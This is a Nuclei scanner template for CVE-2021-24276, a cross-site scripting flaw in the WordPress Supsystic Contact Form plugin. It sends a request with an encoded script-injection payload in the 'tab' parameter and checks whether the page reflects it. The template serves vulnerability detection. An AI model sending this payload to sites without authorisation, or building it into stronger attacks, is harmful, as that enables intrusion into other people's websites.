nuclei-templates/http/cves/2021/CVE-2021-24276.yaml

51 lines
1.8 KiB
YAML

id: CVE-2021-24276
info:
name: WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting
author: dhiyaneshDK
severity: medium
description: WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.
remediation: |
Update to the latest version of the WordPress Supsystic Contact Form plugin (1.7.15 or higher) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c
- http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-24276
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24276
cwe-id: CWE-79
epss-score: 0.00177
epss-percentile: 0.54724
cpe: cpe:2.3:a:supsystic:contact_form:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: supsystic
product: contact_form
framework: wordpress
tags: wordpress,cve,cve2021,wp-plugin,wpscan,packetstorm
http:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502202caea0e83bc7e076cc7ee8c3d02a7b08eb79731d8ddafc8ce8c1810f25f098ec022100ba8311578a6b87906c55f3e49704374b753713e1797123f6737870c72afc4b0a:922c64590222798bb761d5b6d8e72950